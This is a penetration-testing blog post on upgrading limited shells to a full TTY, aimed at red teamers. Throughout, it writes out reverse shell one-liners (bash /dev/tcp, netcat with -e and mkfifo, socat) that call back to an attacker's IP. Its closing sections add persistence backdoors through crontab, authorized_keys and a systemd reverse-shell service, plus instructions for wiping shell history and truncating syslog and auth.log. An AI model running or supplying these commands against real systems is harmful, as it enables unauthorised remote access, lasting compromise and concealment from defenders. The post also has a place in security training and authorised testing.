Skip to main content
  1. Posts/

Where's My Prompt? Penetration testing without a TTY

··1477 words·7 mins· loading · loading · ·
Table of Contents

In the world of penetration testing and red teaming, getting a shell on a target system is often the goal. But not all shells are created equal. Sometimes you end up with a shell that doesn’t provide a proper terminal, known as a TTY (TeleTYpewriter). This situation is frustrating, but it’s not a dead end. In this article, we’ll explore practical techniques to upgrade a non-interactive shell to a full TTY, improving your control over the compromised system.

Understanding non-interactive shells
#

When you exploit a vulnerability to gain access to a target system, the shell you receive can vary. A non-interactive shell (sometimes called a pseudo-shell) lacks key features of a full TTY, such as job control, tab completion, and support for interactive commands like su or sudo. This limitation can hinder follow-on actions and persistence.

Common scenarios that lead to non-interactive shells
#

  1. Exploiting Remote Code Execution (RCE) Vulnerabilities: Many RCE vulnerabilities provide a simple command execution context without a full terminal.
  2. Web Shells: A common tool in a pen tester’s arsenal, web shells often lack interactive capabilities.
  3. Reverse Shells: Tools like Netcat (nc) and certain payloads from frameworks like Metasploit can sometimes result in a limited shell.

TTY basics
#

Definition and history
#

The term “TTY” stands for TeleTYpewriter. Originally, a teletypewriter was an electromechanical device used to send and receive typed messages over communication channels. In the context of modern computing, a TTY refers to a text terminal that allows for user interaction with the system.

Modern usage
#

In Unix-like operating systems, a TTY is essentially a terminal interface for user interaction. It’s a text-based interface where you can execute commands, run scripts, and interact with programs. When you log into a Linux system via SSH or open a terminal window on your local machine, you’re using a TTY.

Types of TTYs
#

  1. Physical TTY: Directly connected to a physical terminal device.
  2. Virtual TTY (VTY): Provided by terminal emulators within graphical user interfaces.
  3. pseudoterminals (PTYs): Used by programs to provide TTY-like functionality, typically for network services like SSH.

What a TTY provides
#

A fully interactive TTY provides key features that enhance user interaction and control over the system:

  1. Job control: Lets you manage processes, such as suspending (Ctrl+Z), resuming (fg, bg), and sending signals (for example, kill).
  2. Line Editing: Offers command-line editing features, such as using arrow keys to navigate, Ctrl+A to move to the beginning of the line, and Ctrl+E to move to the end.
  3. Tab Completion: Automatically completes commands and filenames, saving time and reducing errors.
  4. Signal handling: Handles signals like Ctrl+C to interrupt a running process and Ctrl+D to signal end-of-file (EOF).
  5. Environment Control: Provides access to environment variables and terminal settings, allowing customization and configuration.
  6. Interactive Programs: Supports running interactive programs like vi, top, sudo, and others that require user input and control.

Limitations of non-interactive shells
#

When your shell lacks a TTY, many of the features above are limited or unavailable. This can hinder your ability to interact with the system. Here are the key limitations:

Lack of job control
#

Without job control, you cannot suspend, resume, or send signals to processes. This makes it difficult to manage long-running or background tasks. For example:

  • Suspending Processes: Ctrl+Z won’t work to pause a process.
  • Foreground/Background Jobs: Commands like fg and bg are unavailable.

No line editing or history
#

Without line editing capabilities, you can’t use the arrow keys to navigate command history or edit the current line. This limits your ability to correct typos or reuse previous commands.

No tab completion
#

Without tab completion, you must type out entire commands and filenames, increasing the chance of errors and slowing down your workflow.

Signal handling issues
#

Signal handling can be problematic in non-interactive shells. For instance, you might be unable to use Ctrl+C to stop a running process, forcing you to wait until it exits.

Interactive program limitations
#

Many interactive programs rely on TTY features to function correctly. Without a TTY, running programs like vi, nano, top, or sudo becomes problematic or impossible.

Example: Using sudo
#

When you attempt to run sudo in a non-interactive shell, you might encounter an error because sudo requires a TTY to prompt for a password. This is a common issue:

sudo: no tty present and no askpass program specified

Upgrading to a full TTY
#

Here are reliable ways to upgrade a non-interactive shell to a full TTY:

Python TTY shell
#

If the target system has Python installed, you can use it to spawn a TTY shell.

python -c 'import pty; pty.spawn("/bin/bash")'

Or for Python 3:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Using /bin/sh with script
#

The script command is typically used to record terminal sessions but can also be leveraged to create a TTY shell.

script -qc /bin/bash /dev/null

Socat
#

Socat is a powerful networking utility that can be used to upgrade a shell. You’ll need to have Socat available on both the attacker and the target machines.

On your local machine, start a Socat listener:

socat file:`tty`,raw,echo=0 tcp-listen:4444

On the target machine, connect back to your listener:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<your_ip>:4444

Netcat with mkfifo
#

Netcat is a classic tool for creating reverse shells, but it can also be used to improve shell quality.

On your local machine, start a Netcat listener:

nc -lvnp 4444

On the target machine, use mkfifo to create a named pipe and use it to create a reverse shell:

mkfifo /tmp/f; nc <your_ip> 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f

Bash reverse shell
#

If Bash is available on the target system, you can use it to spawn a TTY shell.

bash -i >& /dev/tcp/<your_ip>/4444 0>&1

Upgrading Netcat shells
#

If you find yourself with a basic Netcat shell, you can often upgrade it using the following method:

python -c 'import pty; pty.spawn("/bin/bash")'

Followed by pressing Ctrl+Z to background the shell and typing the following command on your local machine to enable raw mode:

stty raw -echo; fg

Then, you may need to reset the terminal width and height:

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <number> columns <number>

Real-world examples
#

Example 1: Exploiting a web application
#

Imagine you’ve exploited a web application vulnerability that allows for command execution. You’ve managed to get a basic shell, but it lacks TTY features. Here’s how you can upgrade it.

  1. Initial Command Execution: You exploit the web application to execute the following command:
nc -e /bin/sh <your_ip> 4444
  1. Upgrade to TTY: Once connected, use Python to spawn a TTY shell:
python -c 'import pty; pty.spawn("/bin/bash")'
  1. Further enumeration: With a full TTY shell, you can now run commands like sudo -l to check for privilege escalation opportunities.

Example 2: Reverse shell from a remote service exploit
#

After exploiting a remote service, you get a reverse shell but find it limited.

  1. Initial Reverse Shell:
nc -lvnp 4444

On the target:

bash -i >& /dev/tcp/<your_ip>/4444 0>&1
  1. Upgrade with Socat:

    On your machine:

socat file:`tty`,raw,echo=0 tcp-listen:5555

On the target:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<your_ip>:5555
  1. Persistence and privilege escalation: With a fully interactive shell, you can now set up persistence mechanisms and search for privilege escalation vectors.

Handling obstacles
#

Dealing with limited execution environments
#

In environments where your commands are restricted, leveraging built-in tools can be key. Here are some techniques:

  1. Using /bin/sh: If /bin/bash is restricted, try using /bin/sh or other available shells.
/bin/sh -i
  1. Command Substitution: Use command substitution to execute restricted commands.
$(cat /etc/passwd)
  1. Environment Variables: Manipulate environment variables to bypass restrictions.
export PATH=/usr/local/bin:/usr/bin:/bin

Maintaining access
#

Creating persistent backdoors
#

Once you have a stable TTY shell, you may want to set up persistent access. Here are a few methods:

  1. cron jobs: Add a reverse shell to a cron job.
echo "* * * * * /bin/bash -i >& /dev/tcp/<your_ip>/4444 0>&1" >> /etc/crontab
  1. SSH Keys: Add your SSH public key to the target’s ~/.ssh/authorized_keys file.
echo "<your_ssh_public_key>" >> ~/.ssh/authorized_keys
  1. Systemd service: Create a new Systemd service to maintain a reverse shell.
[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'

[Install]
WantedBy=multi-user.target

Save this as /etc/systemd/system/reverse-shell.service and enable it:

systemctl enable reverse-shell.service
systemctl start reverse-shell.service

Hiding your tracks
#

To avoid detection and maintain access, it’s crucial to clean up after yourself:

  1. Remove History:
history -c
rm ~/.bash_history
  1. Clear Logs: Delete or truncate system logs.
:> /var/log/syslog
:> /var/log/auth.log
  1. Hide Files: Use hidden directories or files to store your tools and scripts.
mkdir /tmp/.hidden
cp /path/to/tool /tmp/.hidden/

Conclusion
#

Operating without a TTY can be challenging, but with the right techniques, you can upgrade to a full interactive shell and regain control of your terminal session. The methods discussed here are core tools for red team operators and penetration testers.

Apply these upgrade patterns early in post-exploitation, especially if you need job control, line editing, or interactive programs like sudo.

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.